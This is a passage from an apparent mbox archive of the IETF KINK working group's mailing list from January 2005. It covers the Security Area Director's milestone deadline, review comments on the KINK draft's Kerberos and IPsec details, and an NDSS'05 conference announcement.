Kamada-san and some other guys) will write individual I-D on this implementation issue soon. I think this I-D will be a good start point for discussing how to do on KINK work. How about that ? -- Atsushi INOUE -- Atsushi Inoue mailto:inoue@isl.rdc.toshiba.co.jp From owner-ietf-kink Sun Jan 2 13:50:19 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j02LoJZp062149; Sun, 2 Jan 2005 13:50:19 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j02LoJHq062148; Sun, 2 Jan 2005 13:50:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-FOUR-FORTY-TWO.MIT.EDU [18.187.6.187]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j02LoIWH062131 for ; Sun, 2 Jan 2005 13:50:18 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 76204E0063; Sun, 2 Jan 2005 16:51:20 -0500 (EST) To: ietf-kink@vpnc.org Subject: Moving forward on KINK--deadline for action From: Sam Hartman Message-Id: <20050102215120.76204E0063@cz.mit.edu> Date: Sun, 2 Jan 2005 16:51:20 -0500 (EST) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Several people have expressed interest in helping with the KINK effort. That's great to hear. It looks like we have or are close to having sufficient interest to do adequate review. We also clearly have interest in implementing the results of the working group. Assuming fairly dedicated effort, I suspect that we can get the document into shape within six months and get IESG approval shortly after that. I'd like to ask the working group chairs to prepare a new set of milestones for getting from our current position to a completed document. The milestones should include identifying the issues we're going to fix, coming to consensus on fixes and confirming adequate review of the result. Along with the set of milestones, I'llother need the names of specific reviewers from the chairs. I'll need a qualified reviewer for Kerberos and for IPsec (2401 and IKE). I expect the results to work will with Kerberos clarifications and draft-ietf-ipsec-rfc2401bis. I will have my specific comments on the kink draft to the working group by January 20; the working group has already received the general areas I'm concerned about. In order to set a concrete deadline, I am requesting the milestones and reviewers from the chairs by February 7, 2005. I'm picking the deadline because it is the first scheduling deadline for IETf 62. If someone has a preference for another deadline speak up now. Otherwise I'll treat February 7 as a hard deadline: if the milestones and reviewers are submitted by then, we'll continue, but otherwise, the working group will conclude. I'd also suggest that KINK consider meeting at IETF 62. If we can get enough of the people together it will be useful to discuss the issues and hopefully come to quick resolution. Naturally, the decision of whether to meet is up to the chairs. Sam Hartman, Security Area Director From owner-ietf-kink Sun Jan 2 17:15:15 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j031FF0S022762; Sun, 2 Jan 2005 17:15:15 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j031FFsE022757; Sun, 2 Jan 2005 17:15:15 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j031FEQL022645 for ; Sun, 2 Jan 2005 17:15:14 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-3.cisco.com with ESMTP; 02 Jan 2005 18:25:34 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j031FBjw007655; Sun, 2 Jan 2005 17:15:11 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j031ChF8001525; Sun, 2 Jan 2005 17:12:43 -0800 Subject: Re: Moving forward on KINK--deadline for action From: Michael Thomas To: Sam Hartman Cc: ietf-kink@vpnc.org In-Reply-To: <20050102215120.76204E0063@cz.mit.edu> References: <20050102215120.76204E0063@cz.mit.edu> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-xLf2xNgAoDqMIzCNzLDx" Organization: Cisco Systems Message-Id: <1104714910.1148.42.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Sun, 02 Jan 2005 17:15:10 -0800 IIM-SIG: v:"1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1104714763.486491"; x:"432200"; a:"rsa-sha1"; b:"nofws:2902"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2pXIw" "eAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRU" "tW+c43sl9jC50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"d3Iu4QTd3fX4RmsxWHgGJaXKE7hlM0vd57uIEhDb0nUoXSEXD5UYSCpdUPWqM" "OYpG6ikGwZZqcz3pP0MpGUILu7J259C9JzGbMHZoBmMyanBpcjGfyjGMPn1bZ" "4YPQWjwLbKOLrGXuQ14zJjwuCBB9O4BtoC5IFzmTgbQ6ZpY6g="; c:"Subject: Re: Moving forward on KINK--deadline for action"; c:"From: Michael Thomas "; c:"Date: Sun, 02 Jan 2005 17:15:10 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-xLf2xNgAoDqMIzCNzLDx Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I think there's some amount of cart before=20 horse going on here: before we set milestones, etc, etc, it would be nice to know if there are actual issues or just another round of editorial clarifications/nits. Mike On Sun, 2005-01-02 at 13:51, Sam Hartman wrote: >=20 > Several people have expressed interest in helping with the KINK > effort. That's great to hear. It looks like we have or are close to > having sufficient interest to do adequate review. We also clearly > have interest in implementing the results of the working group. >=20 > Assuming fairly dedicated effort, I suspect that we can get the > document into shape within six months and get IESG approval shortly > after that. >=20 > I'd like to ask the working group chairs to prepare a new set of > milestones for getting from our current position to a completed > document. The milestones should include identifying the issues we're > going to fix, coming to consensus on fixes and confirming adequate > review of the result. >=20 > Along with the set of milestones, I'llother need the names of specific > reviewers from the chairs. I'll need a qualified reviewer for > Kerberos and for IPsec (2401 and IKE). >=20 >=20 > I expect the results to work will with Kerberos clarifications and > draft-ietf-ipsec-rfc2401bis. >=20 > I will have my specific comments on the kink draft to the working > group by January 20; the working group has already received the > general areas I'm concerned about. >=20 > In order to set a concrete deadline, I am requesting the milestones > and reviewers from the chairs by February 7, 2005. I'm picking the > deadline because it is the first scheduling deadline for IETf 62. If > someone has a preference for another deadline speak up now. Otherwise > I'll treat February 7 as a hard deadline: if the milestones and > reviewers are submitted by then, we'll continue, but otherwise, the > working group will conclude. >=20 > I'd also suggest that KINK consider meeting at IETF 62. If we can get > enough of the people together it will be useful to discuss the issues > and hopefully come to quick resolution. Naturally, the decision of > whether to meet is up to the chairs. >=20 >=20 > Sam Hartman, >=20 > Security Area Director --=-xLf2xNgAoDqMIzCNzLDx Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQdicnbMsDAj/Eq++AQKgOgQAnDTYL7DDZFJ9EG42gTguaIozS1QIMIeQ ojQtwT6kGm57wk5V1WubXaDon+bh8uwvEv4Kwx2FdLNGELU0LdePle2g/QD8PMZy Z9Ipa6LSKBytIhonCoMbG0RyTiOTpqgGKNTOyV8ZnSxiarvFZ8vT1REsHkxL7uY2 1mWuiEH/VJ4= =wM71 -----END PGP SIGNATURE----- --=-xLf2xNgAoDqMIzCNzLDx-- From owner-ietf-kink Sun Jan 2 19:29:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j033TZ5N004324; Sun, 2 Jan 2005 19:29:35 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j033TZli004323; Sun, 2 Jan 2005 19:29:35 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from luminous.mit.edu (LUMINOUS.MIT.EDU [18.101.1.61]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j033TZ8a004308 for ; Sun, 2 Jan 2005 19:29:35 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by luminous.mit.edu (Postfix, from userid 1000) id 39F8676A69; Sun, 2 Jan 2005 22:29:34 -0500 (EST) To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: Moving forward on KINK--deadline for action References: <20050102215120.76204E0063@cz.mit.edu> <1104714910.1148.42.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Sun, 02 Jan 2005 22:29:34 -0500 In-Reply-To: <1104714910.1148.42.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Sun, 02 Jan 2005 17:15:10 -0800") Message-ID: <87wtuv2ns1.fsf@luminous.mit.edu> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> I think there's some amount of cart before horse going on Michael> here: before we set milestones, etc, etc, it would be Michael> nice to know if there are actual issues or just another Michael> round of editorial clarifications/nits. I'm fairly sure there are some real issues; I don't expect it to be horribly complicated to fix them and I don't know of any issues that I expect to require difficult consensus calls. I definitely do know that I want more review of the document before I take it back to the IESG. I said I would provide detailed comments to the WG by January 20. I know Ken Raeburn has done a review of the document himself and found issues similar to those I found; I don't know if he plans to send that review to the working group. I'm hoping that others who have tried to implement the protocol will bring forward at least general information about their concerns while we're trying to set milestones so that we can take them into account. If the chairs believe that my timeline for a decision is too aggressive I expect them to object. Keep in mind that setting milestones does not preclude us moving faster than those milestones. From owner-ietf-kink Sun Jan 2 21:10:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j035AS71028222; Sun, 2 Jan 2005 21:10:28 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j035AS86028220; Sun, 2 Jan 2005 21:10:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j035A59D027715; Sun, 2 Jan 2005 21:10:07 -0800 (PST) (envelope-from kseo@bbn.com) Received: from [128.89.89.115] (dhcp89-089-115.bbn.com [128.89.89.115]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id j0359wjf003765; Mon, 3 Jan 2005 00:09:58 -0500 (EST) Mime-Version: 1.0 X-Sender: kseo@po2.bbn.com Message-Id: Date: Mon, 3 Jan 2005 00:13:09 -0500 To: ietf-enroll@mit.edu, inch@nic.surfnet.nl, ipsec@ietf.org, ipseckey@ietf.org, ipsec-policy@vpnc.org, isms@ietf.org, kitten@lists.ietf.org, ietf-kink@vpnc.org, ietf-krb-wg@anl.gov, ietf-ltans@imc.org, mobike@machshav.com, msec@securemulticast.org, ietf-openpgp@imc.org, pki4ipsec@icsalabs.com, ietf-pkix@imc.org, ietf-sacred@imc.org, ietf-sasl@imc.org, ietf-ssh@netbsd.org, ietf-smime@imc.org, authtime@nist.gov, syslog-sec@employees.org, ietf-tls@lists.certicom.com From: Karen Seo Subject: 2005 Network and Distributed System Security Symposium (NDSS '05) Cc: kseo@bbn.com Content-Type: multipart/alternative; boundary="============_-1107393303==_ma============" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --============_-1107393303==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" ** My apologies if you receive multiple copies of this message. ** ANNOUNCING THE INTERNET SOCIETY'S 2005 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'05) February 2, 2005 - Pre Conference Workshop February 3-4, 2005 - Symposium Catamaran Resort Hotel, San Diego, California General Chair: Eric Harder, National Security Agency Program co-Chairs: Dan Simon, Microsoft Research Dan Boneh, Stanford University ONLINE INFORMATION AND REGISTRATION: http://www.isoc.org/ndss05/ The 12th annual NDSS Symposium brings together innovative and forward thinking members of the Internet community including leading edge security researchers and implementers, globally recognized security technology experts, and users from both the private and public sectors who design, develop, exploit, and deploy the technologies that define network and distributed system security. NDSS'05 provides a balanced mix of technical papers (with a strong emphasis on implementation) that cover new and practical approaches to security problems that are endemic to network and distributed systems. THIS YEAR'S TOPICS INCLUDE: * Cryptography in Network Security * Denial of Service Attacks, * Peer to Peer Approaches * Internet Defense * Intrusion Detection * Platform Security. FEATURED GUEST SPEAKER: * Amit Yoran, who was responsible for coordinating cyber-security activities for Homeland Security, will speak on "Security Challenges and Opportunities of the Future Enterprise" PRE CONFERENCE WORKSHOP TOPICS INCLUDE: * Security in handling mobility on the internet * Security in wireless LANs * Security for telephony or voice over IP * Trust relations in ad hoc networks * Key management strategies to support mobility * Security in RFID. More information is available at: http://www.isoc.org/isoc/conferences/ndss/05/workshop.shtml Parties interested in submitting papers should see the above web page for directions REGISTER EARLY FOR BEST PRICING Registration for NDSS'05 is now open. Student rates are available for both the workshop and symposium. See the web site for more information -- http://www.isoc.org/ndss05/ Registration fees: * November 31, 2004-January 10, 2005 $625. * After January 10, 2005 $695. SPONSORSHIP OPPORTUNITIES AVAILABLE! If your organization would like to help support NDSS and gain visibility through sponsoring, please contact: sponsor-ndss@isoc.org. Information is also available at http://www.isoc.org/ndss05/ Karen Seo NDSS'05 Publicity Chair --============_-1107393303==_ma============ Content-Type: text/html; charset="us-ascii" 2005 Network and Distributed System Security Symposium (ND
  ** My apologies if you receive multiple copies of this message. **

               ANNOUNCING THE INTERNET SOCIETY'S
2005 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'05)

February 2, 2005 - Pre Conference Workshop
February 3-4, 2005 - Symposium
Catamaran Resort Hotel, San Diego, California
General Chair:  Eric Harder, National Security Agency
Program co-Chairs: Dan Simon, Microsoft Research
                   Dan Boneh, Stanford University

ONLINE INFORMATION AND REGISTRATION: http://www.isoc.org/ndss05/

    The 12th annual NDSS Symposium brings together innovative and
    forward thinking members of the Internet community including
    leading edge security researchers and implementers, globally
    recognized security technology experts, and users from both
    the private and public sectors who design, develop, exploit,
    and deploy the technologies that define network and distributed
    system security.

    NDSS'05 provides a balanced mix of technical papers (with a
    strong emphasis on implementation) that cover new and practical
    approaches to security problems that are endemic to network and
    distributed systems. 

THIS YEAR'S TOPICS INCLUDE:
     * Cryptography in Network Security
      * Denial of Service Attacks,
    * Peer to Peer Approaches
       * Internet Defense
      * Intrusion Detection
   * Platform Security.
FEATURED GUEST SPEAKER:
        * Amit Yoran, who was responsible for coordinating cyber-security
          activities for Homeland Security, will speak on "Security
          Challenges and Opportunities of the Future Enterprise"

PRE CONFERENCE WORKSHOP TOPICS INCLUDE:
* Security in handling mobility on the internet
        * Security in wireless LANs
     * Security for telephony or voice over IP
       * Trust relations in ad hoc networks
    * Key management strategies to support mobility
        * Security in RFID.
     More information is available at:
        http://www.isoc.org/isoc/conferences/ndss/05/workshop.shtml
     Parties interested in submitting papers should see the above
        web page for directions

REGISTER EARLY FOR BEST PRICING
     Registration for NDSS'05 is now open. Student rates are available
     for both the workshop and symposium. See the web site for more
     information -- http://www.isoc.org/ndss05/  Registration fees:
        *  November 31, 2004-January 10, 2005   $625.
        *  After January 10, 2005               $695.

SPONSORSHIP OPPORTUNITIES AVAILABLE!
     If your organization would like to help support NDSS and gain
     visibility through sponsoring, please contact:
     sponsor-ndss@isoc.org.  Information is also available at   
     http://www.isoc.org/ndss05/


Karen Seo
NDSS'05 Publicity Chair
--============_-1107393303==_ma============-- From owner-ietf-kink Sun Jan 2 21:22:02 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j035M2lu037012; Sun, 2 Jan 2005 21:22:02 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j035M2u7037011; Sun, 2 Jan 2005 21:22:02 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j035M1SB037005 for ; Sun, 2 Jan 2005 21:22:01 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j035K4Fw004824 for ; Mon, 3 Jan 2005 00:20:04 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j035K12d000246 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Mon, 3 Jan 2005 00:20:02 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <87wtuv2ns1.fsf@luminous.mit.edu> References: <20050102215120.76204E0063@cz.mit.edu> <1104714910.1148.42.camel@thomasm-lnx.cisco.com> <87wtuv2ns1.fsf@luminous.mit.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <1DDD0501-5D47-11D9-AEFF-000A95909EE2@mit.edu> Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: Moving forward on KINK--deadline for action Date: Mon, 3 Jan 2005 00:20:00 -0500 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 2, 2005, at 22:29, Sam Hartman wrote: > I said I would provide detailed comments to the WG by January 20. I > know Ken Raeburn has done a review of the document himself and found > issues similar to those I found; I don't know if he plans to send that > review to the working group. Yes, I'll get back to this after finishing my "48 hours" on a couple of Kerberos RFCs. I've only a few comments on the technical stuff so far: 1) Needs alignment with current Kerberos specs. Forget RFC 1510, use kcrypto and clarifications. In particular, (1) treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away, (2) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong, (3) drop references to the initialization vector, (4) use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions, (5) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type. Also, I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. 2) More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (BTW, in the Kerberos docs, it's "user-to-user", not "user-user".) 3) Verifying remotely supplied identity, as Sam raised earlier. 4) Sec 5, diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. 5) Are subsession keys ignored? 6) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. 7) Sec 7.1, the time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) 8) Sec 6.8: "Kerberos in general does not provide FPS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? 9) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. I can throw out some additional editorial comments though: 1) Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. 2) The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. 3) Spelling. "loose" was used where "lose" should've been in at least one place, 6.1 says "optmistic" (but hyphenated); 7.3 says "IPspec". "'s" is used in some places where I'd use "s" for a plural form. 4) IANA considerations. I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. 5) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. 6) Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) 7) Sect 5.1.1, first item in the list, should end with a period like the others. 8) [KRBREVS] is referenced but not listed in the references section. 9) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? 10) Sec 8: "By optional, it is meant..." is badly worded. Like I said, I'll try to get back to this soon. > Along with the set of milestones, I'llother need the names of specific > reviewers from the chairs. I'll need a qualified reviewer for > Kerberos and for IPsec (2401 and IKE). I'd be happy to act as a reviewer for the Kerberos aspects, though the fact that the document seems to be written to an audience that understands IPsec and might need to have Kerberos explained rather than the other way around will make it slow going. Reviewers well versed in both protocols would be even better. Ken From owner-ietf-kink Tue Jan 4 12:10:30 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j04KAUZG077674; Tue, 4 Jan 2005 12:10:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j04KAUU7077672; Tue, 4 Jan 2005 12:10:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-FOUR-FORTY-TWO.MIT.EDU [18.187.6.187]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j04KATNP077650 for ; Tue, 4 Jan 2005 12:10:29 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id E4535E0063; Tue, 4 Jan 2005 15:11:35 -0500 (EST) To: ietf-kink@vpnc.org Subject: KINK and RFC2401bis From: Sam Hartman Date: Tue, 04 Jan 2005 15:11:35 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I finished reading over RFC 2401bis this morning. By the time Kink makes its way to the IESG, it will need to normatively reference that document instead of RFC 2401. The primary change is that several of the comments about the SPD actually apply to the PAD in the 2041bis model. There's another issue the working group needs to consider. RFC 2401bis increases the flexibility and requirements for IPsec. New requirements include the ability to have multiple SAs with the same selectors and to have port ranges in selectors. IKEv1 which Kink is based on does not support these features. I'm concerned that people will expect to be able to set up SPD entries taking advantage of such features and have them work. I'm asking the working group to seriously consider whether support for new IPsec requirements should be added to Kink. The result of this consideration needs to be either modifications to the protocol to add the necessary support or text explaining what features are not supported and why the working group has chosen not to support them. --Sam From owner-ietf-kink Tue Jan 4 13:19:55 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j04LJsZJ052545; Tue, 4 Jan 2005 13:19:54 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j04LJsPK052544; Tue, 4 Jan 2005 13:19:54 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-1.cisco.com (sj-iport-1-in.cisco.com [171.71.176.70]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j04LJsMn052490 for ; Tue, 4 Jan 2005 13:19:54 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-1.cisco.com with ESMTP; 04 Jan 2005 13:29:18 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j04LJkvl024885; Tue, 4 Jan 2005 13:19:46 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j04LHF46014987; Tue, 4 Jan 2005 13:17:15 -0800 Subject: Re: KINK and RFC2401bis From: Michael Thomas To: Sam Hartman Cc: ietf-kink@vpnc.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-9316VohwfHyFMn4niaPC" Organization: Cisco Systems Message-Id: <1104873588.26508.3.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 04 Jan 2005 13:19:48 -0800 IIM-SIG: v:"1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1104873435.230866"; x:"432200"; a:"rsa-sha1"; b:"nofws:2264"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2pXIw" "eAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRU" "tW+c43sl9jC50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"Km7XQ624F48WfMYPlRCUt/8CawIrqFFPVdMWTTLKaC4ZKsyVT5WdeFLcp/tS3" "DlU0jTart9Rws++LurYfXY3dj6okYb7FIO4bYJSHNSOANiWMTcaktzWZH5AnD" "O1I9ZVNO7bSkVPNo1K0RcYR05oTYBrNzc9QDULKYbj0aV8oCk="; c:"Subject: Re: KINK and RFC2401bis"; c:"From: Michael Thomas "; c:"Date: Tue, 04 Jan 2005 13:19:48 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-9316VohwfHyFMn4niaPC Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I'm fairly certain that the main difference required of KINK is to change the normative reference from IKEv1 to IKEv2 for ISAKMP payloads. KINK doesn't do anything with the payloads themselves, though there may be some error code differences if my foggy memory on this subject=20 serves me. When I coded this up with the Pluto sources for IKEv1, I didn't have to change any of the internal SA establishment/destruction code at all. Mike On Tue, 2005-01-04 at 12:11, Sam Hartman wrote: >=20 > I finished reading over RFC 2401bis this morning. By the time Kink > makes its way to the IESG, it will need to normatively reference that > document instead of RFC 2401. >=20 > The primary change is that several of the comments about the SPD > actually apply to the PAD in the 2041bis model. >=20 >=20 >=20 > There's another issue the working group needs to consider. RFC > 2401bis increases the flexibility and requirements for IPsec. New > requirements include the ability to have multiple SAs with the same > selectors and to have port ranges in selectors. IKEv1 which Kink is > based on does not support these features. >=20 > I'm concerned that people will expect to be able to set up SPD entries > taking advantage of such features and have them work. I'm asking the > working group to seriously consider whether support for new IPsec > requirements should be added to Kink. The result of this > consideration needs to be either modifications to the protocol to add > the necessary support or text explaining what features are not > supported and why the working group has chosen not to support them. >=20 > --Sam --=-9316VohwfHyFMn4niaPC Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQdsIdLMsDAj/Eq++AQK1DQP/fQdUzKHsdczDptpenOyddXs/nbaoX+f9 iNgZpeIi99WOwNjaxNxkuZ2eoM7gIl/VZPGHqRR7VrjBo0BmUJCwtoHsQvDbqWld gSSOp0beXb2PnT8jALYDLFC8LpQJnzqNfxO0bxBJaKQ8vIiParU59FrpQIMd/azU 9BWR9gcyfT8= =dDMI -----END PGP SIGNATURE----- --=-9316VohwfHyFMn4niaPC-- From owner-ietf-kink Tue Jan 4 18:20:58 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j052KweS034619; Tue, 4 Jan 2005 18:20:58 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j052Kwqf034618; Tue, 4 Jan 2005 18:20:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with 